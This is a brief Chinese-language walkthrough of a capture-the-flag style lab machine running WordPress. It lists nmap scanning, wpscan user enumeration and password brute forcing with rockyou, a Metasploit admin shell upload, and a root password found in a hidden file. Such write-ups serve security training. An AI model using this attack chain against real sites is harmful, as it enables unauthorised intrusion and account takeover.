kali：192.168.111.111

靶机：192.168.111.131

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.131

使用nmap的http-enum脚本扫描出目标为wordpress站点，使用wpscan枚举目标用户，得到用户：c0rrupt3d_brain

wpscan --url http://192.168.111.131/wordpress/ -e u

用收集到的用户爆破密码，得到密码：24992499

wpscan --url http://192.168.111.131/wordpress/ -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt

使用msf的exploit/unix/webapp/wp_admin_shell_upload模块拿shell

msfdb run
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.111.131
set username c0rrupt3d_brain
set password 24992499
set targeturi /wordpress

提权

在/home/root3r/.root_password_ssh.txt发现root用户的密码：willy26

flag